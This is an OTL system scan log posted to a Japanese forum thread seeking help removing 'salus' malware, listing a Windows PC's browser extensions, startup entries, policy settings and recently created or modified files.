CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\edaibbiobngpbmeonadpbfafbkimjbdd\6.52.74_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.0.0_0\
CHR - Extension: No name found = C:\Users\Tomohiko\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8_1\

O1 HOSTS File: ([2009/06/11 06:00:26 | 000,000,824 | ---- | M]) - C:\Windows\SysNative\drivers\etc\hosts
O2:[b]64bit:[/b] - BHO: (ExplorerWnd Helper) - {10921475-03CE-4E04-90CE-E2E7EF20C814} - C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll (IObit)
O2 - BHO: (Groove GFS Browser Helper) - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - D:\Program Files (x86)\Microsoft Office\Office14\GROOVEEX.DLL (Microsoft Corporation)
O2 - BHO: (Office Document Cache Handler) - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - D:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL (Microsoft Corporation)
O3:[b]64bit:[/b] - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O3 - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O3 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\Toolbar\WebBrowser: (no name) - {7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA} - No CLSID value found.
O4:[b]64bit:[/b] - HKLM..\Run: [AdobeAAMUpdater-1.0] C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe (Adobe Systems Incorporated)
O4:[b]64bit:[/b] - HKLM..\Run: [Creative SB Monitoring Utility Launcher] C:\Windows\SysNative\SBAVMonL.dll (Creative Technology Ltd.)
O4:[b]64bit:[/b] - HKLM..\Run: [CsrAudioguiCtrl] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrAudioguiCtrl.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [CSRHarmonySkypePlugin] C:\Program Files (x86)\CSR\CSR Harmony Wireless Software Stack\CSRHarmonySkypePlugin.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [CsrHCRPServer] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrHCRPServer.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [CsrSyncMLServer] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrSyncMLServer.exe ()
O4:[b]64bit:[/b] - HKLM..\Run: [EvtMgr6] C:\Program Files\Logicool\SetPointP\SetPoint.exe (Logicool, Inc.)
O4:[b]64bit:[/b] - HKLM..\Run: [HarmonyUserStartup] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\HarmonyUserStartup.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [MSC] C:\Program Files\Microsoft Security Client\msseces.exe (Microsoft Corporation)
O4:[b]64bit:[/b] - HKLM..\Run: [nwiz] C:\Program Files\NVIDIA Corporation\nview\nwiz.exe ()
O4:[b]64bit:[/b] - HKLM..\Run: [TrayApplication] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\TrayApplication.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [vksts] D:\Program Files\CSR\CSR Harmony Wireless Software Stack\vksts.exe (Cambridge Silicon Radio Limited)
O4:[b]64bit:[/b] - HKLM..\Run: [XFast LAN] D:\Program Files\ASRock\XFast LAN\cfosspeed.exe (cFos Software GmbH)
O4 - HKLM..\Run: [AdobeCS6ServiceManager] C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe (Adobe Systems Incorporated)
O4 - HKLM..\Run: [APSDaemon] C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe (Apple Inc.)
O4 - HKLM..\Run: [CLMLServer_For_P2G8] D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe (CyberLink)
O4 - HKLM..\Run: [CLVirtualDrive] D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe (CyberLink Corp.)
O4 - HKLM..\Run: [DivXMediaServer] C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe (DivX, LLC)
O4 - HKLM..\Run: [DivXUpdate] C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe ()
O4 - HKLM..\Run: [NTTE_OSA_AUS] C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe (東日本電信電話株式会社)
O4 - HKLM..\Run: [PowerDVD14Agent] D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe (CyberLink Corp.)
O4 - HKLM..\Run: [Sound Blaster EVO Control Panel] D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe (Creative Technology Ltd)
O4 - HKLM..\Run: [Sound Blaster Recon3Di Control Panel] D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe (Creative Technology Ltd)
O4 - HKLM..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe (Adobe Systems Incorporated)
O4 - HKLM..\Run: [UpdateP2GoShortCut] "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0" File not found
O4 - HKLM..\Run: [UpdatePPShortCut] "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0" File not found
O4 - HKLM..\Run: [UpdReg] C:\Windows\Updreg.EXE (Creative Technology Ltd.)
O4 - HKLM..\Run: [XFastUSB] C:\Program Files (x86)\XFastUSB\XFastUsb.exe (FNet Co., Ltd.)
O4 - HKU\S-1-5-19..\Run: [Sidebar] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-20..\Run: [Sidebar] C:\Program Files (x86)\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [AdobeBridge] File not found
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [ASRockXTU] File not found
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [CCleaner Monitoring] C:\Program Files\CCleaner\CCleaner64.exe (Piriform Ltd)
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [Power2GoExpress8] NA File not found
O4 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000..\Run: [zASRockInstantBoot] File not found
O4 - HKU\S-1-5-19..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe File not found
O4 - HKU\S-1-5-20..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe File not found
O4 - Startup: C:\Users\Tomohiko\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MagicDisc.lnk = D:\Program Files (x86)\MagicDisc\MagicDisc.exe (MagicISO, Inc.)
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktop = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktopChanges = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 0
O7 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145
O7 - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: DisableLockWorkstation = 0
O9 - Extra Button: 故障かな?と思ったら・・・ - {6CB1FA39-5745-4733-859F-E9C82A68F848} - C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe (東日本電信電話株式会社)
O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000009 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000009 [] - C:\Program Files (x86)\Bonjour\mdnsNSP.dll (Apple Inc.)
O13[b]64bit:[/b] - gopher Prefix: missing
O13 - gopher Prefix: missing
O16 - DPF: {53F4962A-8E27-4601-8B01-79A82B4D7FC9} https://member.gungho.jp/front/ec/iframe/LoadPrgAx.CAB (LoadPrg Class)
O16 - DPF: {D4B68B83-8710-488B-A692-D74B50BA558E} http://ccfiles.creative.com/Web/softwareupdate/ocx/15113/CTPIDPDE.cab (Creative Software AutoUpdate Support Package 2)
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} http://ccfiles.creative.com/Web/softwareupdate/ocx/130321/CTPID.cab (Creative Software AutoUpdate Support Package)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.2.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{7C6272C9-7D28-4419-8693-71981CA08FB5}: DhcpNameServer = 172.20.10.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{97B7AF35-DB55-4EDB-A679-DC50B1AD6DCE}: DhcpNameServer = 192.168.2.1
O18:[b]64bit:[/b] - Protocol\Handler\ms-help - No CLSID value found
O18:[b]64bit:[/b] - Protocol\Handler\skype4com - No CLSID value found
O18:[b]64bit:[/b] - Protocol\Handler\wlmailhtml - No CLSID value found
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O20:[b]64bit:[/b] - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20:[b]64bit:[/b] - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\SysWow64\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (userinit.exe) - C:\Windows\SysWow64\userinit.exe (Microsoft Corporation)
O20:[b]64bit:[/b] - Winlogon\Notify\LBTWlgn: DllName - (c:\program files\common files\logishrd\bluetooth\LBTWlgn.dll) - c:\Program Files\Common Files\LogiShrd\Bluetooth\LBTWLgn.dll (Logitech, Inc.)
O21:[b]64bit:[/b] - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O28 - HKLM ShellExecuteHooks: {B5A7F190-DDA6-4420-B3BA-52453494E6CD} - D:\Program Files (x86)\Microsoft Office\Office14\GROOVEEX.DLL (Microsoft Corporation)
O32 - HKLM CDRom: AutoRun - 1
O33 - MountPoints2\{04337025-3ea0-11e3-9d89-bc5ff49688fb}\Shell - "" = AutoRun
O33 - MountPoints2\{04337025-3ea0-11e3-9d89-bc5ff49688fb}\Shell\AutoRun\command - "" = I:\Startme.exe
O34 - HKLM BootExecute: (autocheck autochk *)
O35:[b]64bit:[/b] - HKLM\..comfile [open] -- "%1" %*
O35:[b]64bit:[/b] - HKLM\..exefile [open] -- "%1" %*
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37:[b]64bit:[/b] - HKLM\...com [@ = comfile] -- "%1" %*
O37:[b]64bit:[/b] - HKLM\...exe [@ = exefile] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)

CREATERESTOREPOINT
Restore point Set: OTL Restore Point
  • mari
  • 2015/03/26 (Thu) 22:02:54
Re: salusの駆除をお助けください
[color=#E56717]========== Files/Folders - Created Within 30 Days ==========[/color]

[2015/03/24 04:02:38 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Apple Computer
[2015/03/23 22:33:52 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Adobe
[2015/03/23 21:38:34 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Roaming\Malwarebytes
[2015/03/23 21:38:18 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes' Anti-Malware
[2015/03/23 21:38:16 | 000,000,000 | ---D | C] -- C:\ProgramData\Malwarebytes
[2015/03/23 21:38:15 | 000,025,928 | ---- | C] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\mbam.sys
[2015/03/22 22:25:00 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Roaming\Geek Uninstaller
[2015/03/21 15:35:11 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
[2015/03/21 15:09:10 | 000,000,000 | ---D | C] -- C:\Program Files\CCleaner
[2015/03/15 13:40:10 | 000,000,000 | ---D | C] -- C:\Program Files\Broadcom
[2015/03/15 13:19:09 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Google
[2015/03/15 13:18:57 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Deployment
[2015/03/15 13:18:57 | 000,000,000 | ---D | C] -- C:\Users\Tomohiko\AppData\Local\Apps
[2015/03/15 10:06:10 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes
[2015/03/15 10:05:58 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\iTunes
[2015/03/15 10:05:58 | 000,000,000 | ---D | C] -- C:\Program Files\iPod
[2015/03/15 10:05:57 | 000,000,000 | ---D | C] -- C:\Program Files\iTunes
[2015/03/15 10:05:57 | 000,000,000 | ---D | C] -- C:\ProgramData\E1864A66-75E3-486a-BD95-D1B7D99A84A7
[2015/03/01 22:23:32 | 006,041,600 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9.dll
[2015/03/01 22:23:32 | 000,950,272 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\perftrack.dll
[2015/03/01 22:23:32 | 000,814,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9diag.dll
[2015/03/01 22:23:32 | 000,620,032 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\jscript9diag.dll
[2015/03/01 22:23:32 | 000,029,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\powertracker.dll
[2015/02/28 07:44:59 | 000,309,760 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ncrypt.dll
[2015/02/28 07:44:56 | 001,461,760 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\lsasrv.dll
[2015/02/28 07:44:56 | 000,686,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\adtschema.dll
[2015/02/28 07:44:56 | 000,686,080 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\adtschema.dll
[2015/02/28 07:44:56 | 000,146,432 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msaudite.dll
[2015/02/28 07:44:56 | 000,146,432 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msaudite.dll
[2015/02/28 07:44:56 | 000,136,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\sspicli.dll
[2015/02/28 07:44:56 | 000,064,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\auditpol.exe
[2015/02/28 07:44:56 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msobjs.dll
[2015/02/28 07:44:56 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msobjs.dll
[2015/02/28 07:44:56 | 000,050,176 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\auditpol.exe
[2015/02/28 07:44:56 | 000,029,184 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\sspisrv.dll
[2015/02/28 07:44:56 | 000,028,160 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\secur32.dll
[2015/02/28 07:44:54 | 001,480,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\crypt32.dll
[2015/02/28 07:44:53 | 001,424,384 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\WindowsCodecs.dll
[2015/02/28 07:44:52 | 000,114,688 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieetwcollector.exe
[2015/02/28 07:44:52 | 000,076,288 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mshtmled.dll
[2015/02/28 07:44:52 | 000,064,000 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\MshtmlDac.dll
[2015/02/28 07:44:52 | 000,048,640 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieetwproxystub.dll
[2015/02/28 07:44:52 | 000,047,616 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieetwproxystub.dll
[2015/02/28 07:44:52 | 000,030,720 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\iernonce.dll
[2015/02/28 07:44:51 | 000,718,848 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ie4uinit.exe
[2015/02/28 07:44:51 | 000,710,144 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieapfltr.dll
[2015/02/28 07:44:51 | 000,077,824 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\JavaScriptCollectionAgent.dll
[2015/02/28 07:44:51 | 000,062,464 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\iesetup.dll
[2015/02/28 07:44:51 | 000,060,416 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\JavaScriptCollectionAgent.dll
[2015/02/28 07:44:51 | 000,034,304 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\iernonce.dll
[2015/02/28 07:44:50 | 002,052,608 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\inetcpl.cpl
[2015/02/28 07:44:50 | 000,968,704 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\MsSpellCheckingFacility.exe
[2015/02/28 07:44:50 | 000,801,280 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msfeeds.dll
[2015/02/28 07:44:50 | 000,478,208 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieui.dll
[2015/02/28 07:44:50 | 000,316,928 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\dxtrans.dll
[2015/02/28 07:44:50 | 000,115,712 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ieUnatt.exe
[2015/02/28 07:44:50 | 000,066,560 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\iesetup.dll
[2015/02/28 07:44:50 | 000,004,096 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieetwcollectorres.dll
[2015/02/28 07:44:49 | 002,125,824 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\inetcpl.cpl
[2015/02/28 07:44:49 | 001,155,072 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\mshtmlmedia.dll
[2015/02/28 07:44:49 | 000,800,768 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieapfltr.dll
[2015/02/28 07:44:49 | 000,168,960 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msrating.dll
[2015/02/28 07:44:49 | 000,144,384 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieUnatt.exe
[2015/02/28 07:44:48 | 001,359,360 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mshtmlmedia.dll
[2015/02/28 07:44:48 | 000,633,856 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ieui.dll
[2015/02/28 07:44:48 | 000,490,496 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\dxtmsft.dll
[2015/02/28 07:44:48 | 000,092,160 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\mshtmled.dll
[2015/02/28 07:44:47 | 000,584,192 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\vbscript.dll
[2015/02/28 07:44:47 | 000,199,680 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msrating.dll
[2015/02/28 07:44:47 | 000,088,064 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\MshtmlDac.dll
[2015/02/28 07:44:38 | 005,554,112 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\ntoskrnl.exe
[2015/02/28 07:44:38 | 003,972,544 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ntkrnlpa.exe
[2015/02/28 07:44:38 | 003,917,760 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\ntoskrnl.exe
[2015/02/28 07:44:38 | 000,503,808 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\srcore.dll
[2015/02/28 07:44:38 | 000,296,960 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rstrui.exe
[2015/02/28 07:44:38 | 000,050,176 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\srclient.dll
[2015/02/28 07:44:35 | 000,861,696 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\oleaut32.dll
[2015/02/28 07:44:35 | 000,406,528 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\scesrv.dll
[2015/02/28 07:44:35 | 000,308,224 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\scesrv.dll
[4 C:\Windows\SysWow64\*.tmp files -> C:\Windows\SysWow64\*.tmp -> ]
[1 C:\Windows\*.tmp files -> C:\Windows\*.tmp -> ]
[1 C:\Users\Tomohiko\Documents\*.tmp files -> C:\Users\Tomohiko\Documents\*.tmp -> ]

[color=#E56717]========== Files - Modified Within 30 Days ==========[/color]

[2015/03/26 21:39:00 | 000,000,694 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015/03/26 19:54:01 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat
[2015/03/26 15:39:00 | 000,000,690 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/03/23 22:40:50 | 000,015,968 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
[2015/03/23 22:40:50 | 000,015,968 | -H-- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
[2015/03/23 22:38:03 | 000,824,334 | ---- | M] () -- C:\Windows\SysNative\perfh009.dat
[2015/03/23 22:38:03 | 000,679,882 | ---- | M] () -- C:\Windows\SysNative\perfh011.dat
[2015/03/23 22:38:03 | 000,289,648 | ---- | M] () -- C:\Windows\SysNative\perfc011.dat
[2015/03/23 22:38:03 | 000,284,526 | ---- | M] () -- C:\Windows\SysNative\perfc009.dat
[2015/03/23 22:38:03 | 000,006,256 | ---- | M] () -- C:\Windows\SysNative\PerfStringBackup.INI
[2015/03/23 22:33:37 | 496,861,183 | -HS- | M] () -- C:\hiberfil.sys
[2015/03/23 21:38:18 | 000,000,786 | ---- | M] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
[2015/03/22 22:39:31 | 000,002,265 | ---- | M] () -- C:\Users\Tomohiko\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
[2015/03/21 15:35:11 | 000,002,241 | ---- | M] () -- C:\Users\Public\Desktop\Google Chrome.lnk
[2015/03/21 15:33:08 | 000,194,465 | ---- | M] () -- C:\Users\Tomohiko\Desktop\bookmarks_2015_03_21.html
[2015/03/14 05:55:35 | 000,000,020 | ---- | M] () -- C:\Users\Tomohiko\AppData\Roaming\appdataFr3.bin
[2015/02/28 07:56:22 | 007,517,528 | ---- | M] () -- C:\Windows\SysNative\FNTCACHE.DAT
[2015/02/28 07:51:17 | 000,001,945 | ---- | M] () -- C:\Windows\epplauncher.mif
[4 C:\Windows\SysWow64\*.tmp files -> C:\Windows\SysWow64\*.tmp -> ]
[1 C:\Windows\*.tmp files -> C:\Windows\*.tmp -> ]
[1 C:\Users\Tomohiko\Documents\*.tmp files -> C:\Users\Tomohiko\Documents\*.tmp -> ]

[color=#E56717]========== Files Created - No Company Name ==========[/color]

[2015/03/23 21:38:18 | 000,000,786 | ---- | C] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
[2015/03/21 15:35:11 | 000,002,265 | ---- | C] () -- C:\Users\Tomohiko\Application Data\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
[2015/03/21 15:35:11 | 000,002,241 | ---- | C] () -- C:\Users\Public\Desktop\Google Chrome.lnk
[2015/03/21 15:34:52 | 000,000,694 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job
[2015/03/21 15:34:52 | 000,000,690 | ---- | C] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore.job
[2015/03/21 15:33:08 | 000,194,465 | ---- | C] () -- C:\Users\Tomohiko\Desktop\bookmarks_2015_03_21.html
[2015/02/21 07:45:53 | 000,000,020 | ---- | C] () -- C:\Users\Tomohiko\AppData\Roaming\appdataFr3.bin
[2014/12/07 09:18:09 | 000,000,000 | ---- | C] () -- C:\Users\Tomohiko\AppData\Local\{6FF81BD2-8072-4E49-ACEF-96AC85D9BBE4}
[2014/10/12 12:25:04 | 000,313,688 | ---- | C] () -- C:\Windows\SysWow64\NvIFROpenGL.dll
[2013/12/31 18:11:55 | 000,001,336 | ---- | C] () -- C:\Windows\CCATALOG.INI
[2013/11/24 11:29:49 | 000,354,308 | -H-- | C] () -- C:\Windows\SysWow64\mlfcache.dat
[2013/10/27 09:34:01 | 000,263,168 | ---- | C] () -- C:\Windows\SysWow64\APOMngr.DLL
[2013/10/27 09:34:01 | 000,074,240 | ---- | C] () -- C:\Windows\SysWow64\CmdRtr.DLL
[2013/10/27 09:33:27 | 000,003,077 | ---- | C] () -- C:\ProgramData\cfSB1290A.ini
[2013/10/27 09:33:27 | 000,003,077 | ---- | C] () -- C:\ProgramData\cfSB1290.ini
[2013/10/27 09:33:27 | 000,002,844 | ---- | C] () -- C:\ProgramData\cfSB1240A.ini
[2013/10/27 09:33:27 | 000,002,844 | ---- | C] () -- C:\ProgramData\cfSB1240.ini
[2013/10/27 09:33:27 | 000,001,980 | ---- | C] () -- C:\ProgramData\cfSB1560.ini
[2013/10/27 09:33:27 | 000,001,772 | ---- | C] () -- C:\ProgramData\cfSB1095A.ini
[2013/10/27 09:33:27 | 000,001,772 | ---- | C] () -- C:\ProgramData\cfSB1095.ini
[2013/10/27 09:33:27 | 000,001,697 | ---- | C] () -- C:\ProgramData\CfGH0250.ini
[2013/10/27 09:33:27 | 000,001,696 | ---- | C] () -- C:\ProgramData\CfGH0280.ini
[2013/10/27 09:33:27 | 000,001,352 | ---- | C] () -- C:\ProgramData\cfSB1090.ini
[2013/10/27 09:33:27 | 000,001,352 | ---- | C] () -- C:\ProgramData\cfSB0910.ini
[2013/10/27 09:33:27 | 000,001,346 | ---- | C] () -- C:\ProgramData\cfSB1100.ini
[2013/10/27 09:33:27 | 000,001,302 | ---- | C] () -- C:\ProgramData\cfSB0300.ini
[2013/10/27 09:33:27 | 000,001,282 | ---- | C] () -- C:\ProgramData\cfSB0471.ini
[2013/10/27 09:33:27 | 000,001,208 | ---- | C] () -- C:\ProgramData\cfSB0490.ini
[2013/10/27 09:33:27 | 000,001,027 | ---- | C] () -- C:\ProgramData\cfSB0560.ini
[2013/10/27 09:33:27 | 000,001,026 | ---- | C] () -- C:\ProgramData\cfSB0271.ini
[2013/10/27 09:33:27 | 000,001,026 | ---- | C] () -- C:\ProgramData\cfSB0270.ini
[2013/10/27 09:33:27 | 000,000,939 | ---- | C] () -- C:\ProgramData\CfSB1170.ini
[2013/10/27 09:33:27 | 000,000,806 | ---- | C] () -- C:\ProgramData\cfSB1300A.ini
[2013/10/27 09:33:27 | 000,000,806 | ---- | C] () -- C:\ProgramData\cfSB1300.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1532.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1530.ini
[2013/10/27 09:33:27 | 000,000,715 | ---- | C] () -- C:\ProgramData\CfSB1390.ini
